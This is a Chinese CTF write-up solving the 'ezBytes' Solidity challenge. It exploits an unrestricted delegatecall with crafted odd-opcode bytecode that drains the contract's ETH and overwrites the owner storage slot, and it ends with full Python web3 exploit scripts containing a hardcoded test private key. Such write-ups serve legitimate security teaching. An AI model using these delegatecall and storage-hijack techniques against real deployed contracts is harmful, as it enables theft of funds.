ezBytes 0x00 序言 校赛出的一道智能合约的wp,记录一下
0x01 环境基本配置 钱包连接私链 首先需要准备一个metamask(一个钱包软件,浏览器插件),随意注册一个账号即可(网上教程很多,这里不赘述,可以参考https://www.bilibili.com/video/BV1Ca411n7ta?p=7&vd_source=5ec02b685bc73487523c9c6794fde5c4 p7)
image-20231128202757837
新建网络,加入题目的rpc(私链),chain ID会自动识别(图中报错高速chain id是23896,更改即可),货币符号填写ETH
image-20231128203720784
查看私钥 image-20231128205729043
image-20231128205751032
之后输入密码即可获取账户的私钥
faucet(水龙头)获取测试币 只需要把公钥输入即可获取1ETH(cd 1分钟)
image-20231128205414832
题目合约部署 首先访问题目创建一个deployer账户,注意:只能知道该用户的公钥,不知道私钥,而最后部署solver合约时需要账户的私钥,因此需要用到上面那个用metamask钱包软件创建的用户。
image-20231128205847508
token也需要保存,题目后面会用来部署题目合约,同时这里最后提示了需要向deployer用户转1.002测试币以部署合约
先用水龙头向deployer用户转2个测试币(可以给自己用metamask创的号也转2个测试币),接下来就可以选择2进行challenge合约的部署了
image-20231128210457365
可以看到成功部署了合约,合约地址为0xee7Cc887214b782563D9E4D42A124684e20E15bd
题目也提示了需要让isSloved()返回true
Remix IDE在线部署题目合约 访问选项4可以获取合约的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.2; contract ezBytes{ address public i_owner; bytes32 private password="jnctf2023"; constructor() payable public{ i_owner = msg.sender; } modifier onlyOwner { if(msg.sender != i_owner) { require(false); } _; } function challenge(address _yourContractAdd) public payable{ uint256 size; bytes memory your_code; assembly{ size := extcodesize(_yourContractAdd) your_code := mload(0x40) mstore(0x40, add(your_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(your_code, size) extcodecopy(_yourContractAdd, add(your_code, 0x20), 0, size) } for(uint256 i = 0; i < your_code.length; i++) { require(int(uint8(your_code[i])) != 0xff,"Nop"); require(int(uint8(your_code[i])) != 0xf5,"Nop"); require(int(uint8(your_code[i])) != 0x01,"Nop"); require(int(uint8(your_code[i])) % 2 == 1 || int(uint8(your_code[i])) == 0 ); } (bool success, ) = _yourContractAdd.delegatecall(""); require(success,"Delegatecall failed"); } function check() public view returns(bool){ return address(this).balance == 0; } function changePassword(bytes32 str)onlyOwner payable public{ password=str; } function checkPassword() public view returns (bool){ return password=="22222222222222"; } function isSolved() public view returns (bool) { bool flag1=check(); require(flag1,"Oops, there is still a balance in the contract account."); bool flag2=checkPassword(); require(flag2,"Password is wrong."); return flag1&&flag2 ; } }
打开在线IDE Remix https://remix.ethereum.org/ (需要科学上网🧐💡)新建一个ezBytes.sol文件,编译选项页面记得选择编译器版本为源码开头标识的0.7.2, 编译成功后即可部署
image-20231128210842347
切换到部署界面,选择环境为metamask,这样才能访问到私链上的合约,在At Address处写下刚才获取的challenge合约地址0xee7Cc887214b782563D9E4D42A124684e20E15bd
image-20231128211753657
点击“At Address”即可得到challenge合约
image-20231128211834506
0x02 合约分析 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.2; contract ezBytes{ address public i_owner; bytes32 private password="jnctf2023"; constructor() payable public{ i_owner = msg.sender;//初始化i_owner,由于合约构造函数执行的那个交易是deployer账号发起的,因此i_owner就对标了合约所有者 } modifier onlyOwner {//被onlyOwner修饰的函数只有合约所有者才能执行 if(msg.sender != i_owner) { require(false); } _; } function challenge(address _yourContractAdd) public payable{ uint256 size; bytes memory your_code; assembly{//动态获取给定合约地址 _yourContractAdd 的代码,然后将其复制到以 mload(0x40) 为起始位置的内存中,后面的三行主要是为了保证size size := extcodesize(_yourContractAdd) your_code := mload(0x40) mstore(0x40, add(your_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))//保证是32字节的倍数 mstore(your_code, size) extcodecopy(_yourContractAdd, add(your_code, 0x20), 0, size)//从目标合约的开头复制size大小的字节到内存中 } for(uint256 i = 0; i < your_code.length; i++) { require(int(uint8(your_code[i])) != 0xff,"Nop"); require(int(uint8(your_code[i])) != 0xf5,"Nop"); require(int(uint8(your_code[i])) != 0x01,"Nop"); require(int(uint8(your_code[i])) % 2 == 1 || int(uint8(your_code[i])) == 0 ); } (bool success, ) = _yourContractAdd.delegatecall(""); require(success,"Delegatecall failed"); } function check() public view returns(bool){ return address(this).balance == 0; } function changePassword(bytes32 str)onlyOwner payable public{// password=str; } function checkPassword() public view returns (bool){ return password=="22222222222222"; } function isSolved() public view returns (bool) { bool flag1=check(); require(flag1,"Oops, there is still a balance in the contract account."); bool flag2=checkPassword(); require(flag2,"Password is wrong."); return flag1&&flag2 ; } }
首先看到最终需要让其返回true的isSolved函数总共需要解决两个条件
盗取合约内的所有balance(余额)
修改password(changePassword函数只有合约所有者才可以执行)
很明显看到challenge函数有合约地址可控的delegatecall调用
漏洞点分析 delegatecall调用很容易可以联想到委托调用漏洞,delegatecall的参数是函数的abi,简单来说只要delegatecall参数,及前面的addr都可控,就能实现当前合约执行任意合约的任意方法(相当于直接把那个函数插入到当前合约代码中直接执行)
image-20231128213125822
可以看到上面A合约通过委托调用了B合约的方法修改了自身的属性
这里再加一个概念Slot,以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 插槽式数组存储 ---------------------------------- | 0 | # slot 0 ---------------------------------- | 1 | # slot 1 ---------------------------------- | 2 | # slot 2 ---------------------------------- | ... | # ... ---------------------------------- | ... | # 每个插槽 32 字节 ---------------------------------- | ... | # ... ---------------------------------- | 2^256-1 | # slot 2^256-1 ----------------------------------
编译时将严格根据字段排序顺序(*),从位置 0 开始连续放置在存储中。如果可能的话,大小少于 32 字节的多个变量会被打包到一个插槽中,而当某项数据超过 32 字节,则需要占用多个连续插槽
如下合约
1 2 3 4 5 6 7 8 pragma solidity ^0.4.0; contract C { address a; // 0 uint8 b; // 0 uint256 c; // 1 bytes24 d; // 2 }
存储布局如下
1 2 3 4 5 6 7 ----------------------------------------------------- | unused (11) | b (1) | a (20) | <- slot 0 ----------------------------------------------------- | c (32) | <- slot 1 ----------------------------------------------------- | unused (8) | d (24) | <- slot 2 -----------------------------------------------------
再看一下对于delegatecall调用的字节码的限制,题目合约中会先将目标合约的字节码先复制过来逐字节检查
1 2 3 4 5 6 for(uint256 i = 0; i < your_code.length; i++) { require(int(uint8(your_code[i])) != 0xff,"Nop"); require(int(uint8(your_code[i])) != 0xf5,"Nop"); require(int(uint8(your_code[i])) != 0x01,"Nop"); require(int(uint8(your_code[i])) % 2 == 1 || int(uint8(your_code[i])) == 0 ); }
限制了不能用
0xff(自毁合约指令可以让合约自行销毁,并将账户中的ETH余额发送到指定地址)
0xf5(CREATE2,可以部署一个新合约并发送指定数量wei的ETH)
0x01(ADD)
所有偶数的Opcodes
0x00(STOP)
盗取合约内余额 先介绍几个EVM Opcode 更多Opcode可以参考https://www.evm.codes/?fork=shanghai
SELFBALANCE:将合约余额压入栈中,单位为wei
SSTORE:将栈顶的两个元素视为key和value(栈顶),将value赋值给第key个slot
CALL:创建一个子环境来执行其他合约的部分代码,发送ETH
,并返回success(发送ETH是否成功)
CALL会从堆栈中弹出7个参数,依次为:
gas
:为这次调用分配的gas量。
to
:被调用合约的地址。
value
:要发送的以太币数量,单位为wei
。
mem_in_start
:输入数据(calldata)在内存的起始位置。
mem_in_size
:输入数据的长度。
mem_out_start
:返回数据(returnData)在内存的起始位置。
mem_out_size
:返回数据的长度。
可以构造7个栈输入使得合约余额全部转到某个地址,下面示例是直接转到0地址
1 2 3 4 5 6 7 8 PUSH2 0x0000 PUSH2 0x0000 PUSH2 0x0000 PUSH2 0x0000 SELFBALANCE PUSH2 0x0000 PUSH2 0x0000 CALL
这里用PUSH2是因为限制不能用偶数的Opcode
修改合约所有者 由于源码中i_owner处于slot 0
1 2 3 4 5 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.2; contract ezBytes{ address public i_owner; //...
可以利用SSTORE以及CALLER,把调用合约的合约地址(我们自身)赋值给slot 0
1 2 3 CALLER //把调用者地址压入栈 PUSH2 0x0000 // 将0x0000压入栈 SSTORE // 存储数据到状态变量
综合一下总体的字节码
1 2 3 4 5 6 7 8 PUSH2 0x0000 PUSH2 0x0000 PUSH2 0x0000 PUSH2 0x0000 SELFBALANCE PUSH2 0x0000 PUSH2 0x0000 CALL
最后需要加上常规的合约准备工作,把后面需要的25字节的字节码拷贝到内存,这25字节也是后续题目合约的内联汇编中通过extcodesize以及extcodecopy能接触到的字节码
1 2 3 4 5 6 7 PUSH1 0x19 // 将0x19压入栈 DUP1 // 复制栈顶元素 PUSH1 0x09 // 将0x09压入栈 RETURNDATASIZE // 获取上一个外部调用的返回数据的大小,防止覆盖 CODECOPY // 将合约代码拷贝到内存 RETURNDATASIZE // 获取返回数据的大小 F3 *RETURN // 返回
这里其实就是把0x09后的25字节拷贝的内存中,而上面的准备部分刚好是9个字节
这一段是在合约部署的时候执行的
部署slover合约 slover合约是一个工具人合约,用来被上面的字节码替换,部署的话得使用python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from web3 import Web3from solcx import compile_files, install_solcfrom Crypto.Util.number import bytes_to_longw3 = Web3(Web3.HTTPProvider('http://43.143.170.225:20001' )) assert (w3.is_connected())def create_new_account (): keys = w3.eth.account.create() address = w3.to_checksum_address(keys.address) privateKey = hex (bytes_to_long(keys.key)) return (address, privateKey) privateKey = 'xxxxxxxxxxxxxxxxxx' account = w3.eth.account.from_key(privateKey) print ('player_address: ' + account.address)def send_transaction (account, func, args=( ) ): nonce = w3.eth.get_transaction_count(account.address) txn = func(*args).build_transaction({ 'from' : account.address, "gasPrice" : w3.eth.gas_price, 'nonce' : nonce }) signed_txn = w3.eth.account.sign_transaction(txn, account.key) txn_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction) txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash) return txn_receipt install_solc(version="0.7.2" ) compiled_sol = compile_files('Chall.sol' , output_values=['abi' , 'bin' ], solc_version="0.7.2" ) challenge_address = 'xxxxxxxxxxxxxxxxxx' challenge_abi = compiled_sol['Chall.sol:ezBytes' ]['abi' ] challenge_contract = w3.eth.contract(address=challenge_address, abi=challenge_abi) contract_interface = compiled_sol['Chall.sol:Solver' ] solver_abi = contract_interface['abi' ] solver_bytecode = '60198060093d393df3610000610000610000610000473361000055610000610000f1' solver_contract = w3.eth.contract(abi=solver_abi, bytecode=solver_bytecode) print ('Creating solver contract...' )solver_address = send_transaction(account, solver_contract.constructor).contractAddress print (solver_address)
运行得到slover合约地址,可以使用Remix IDE直接调用challenge函数
image-20231129023343884
现在check函数已经返回了true,说吗合约内余额已清空,再查看合约所有者,也更改成当前账户
image-20231129023536722
现在已经可以调用changePassword来修改密码了,注意要输入16进制修饰,完整的32字节 0x3232323232323232323232323232000000000000000000000000000000000000
image-20231129023719689
image-20231129023912725
image-20231129024003714
0x03 一把梭脚本 需要手动替换题目地址和私钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from web3 import Web3from solcx import compile_files, install_solcfrom Crypto.Util.number import bytes_to_longw3 = Web3(Web3.HTTPProvider('http://43.143.170.225:20001' )) assert (w3.is_connected())def create_new_account (): keys = w3.eth.account.create() address = w3.to_checksum_address(keys.address) privateKey = hex (bytes_to_long(keys.key)) return (address, privateKey) ''' address, privateKey = create_new_account() print(privateKey) ''' privateKey = '0x5bc768688b09f8df514db9f99214bc7ecf6c7772a7bb9a61e1d4430e621044a2' account = w3.eth.account.from_key(privateKey) print ('player_address: ' + account.address)def send_transaction (account, func, args=( ) ): nonce = w3.eth.get_transaction_count(account.address) txn = func(*args).build_transaction({ 'from' : account.address, "gasPrice" : w3.eth.gas_price, 'nonce' : nonce }) signed_txn = w3.eth.account.sign_transaction(txn, account.key) txn_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction) txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash) return txn_receipt install_solc(version="0.7.2" ) compiled_sol = compile_files('Chall.sol' , output_values=['abi' , 'bin' ], solc_version="0.7.2" ) challenge_address = '0x7E289572f980aA581d5811cEA39e5dC9fc182e79' challenge_abi = compiled_sol['Chall.sol:ezBytes' ]['abi' ] challenge_contract = w3.eth.contract(address=challenge_address, abi=challenge_abi) contract_interface = compiled_sol['Chall.sol:Solver' ] solver_abi = contract_interface['abi' ] solver_bytecode = '60198060093d393df3610000610000610000610000473361000055610000610000f1' solver_contract = w3.eth.contract(abi=solver_abi, bytecode=solver_bytecode) print ('Creating solver contract...' )solver_address = send_transaction(account, solver_contract.constructor).contractAddress print ('Done, solver_address: ' + solver_address)print ('Solving...' )send_transaction(account, challenge_contract.functions.challenge, (solver_address, )) if challenge_contract.functions.check().call(): print ('Solved' ) else : print ('Error' ) send_transaction(account, challenge_contract.functions.changePassword, ("0x3232323232323232323232323232000000000000000000000000000000000000" , )) if challenge_contract.functions.isSolved().call(): print ('Success' ) else : print ('No' )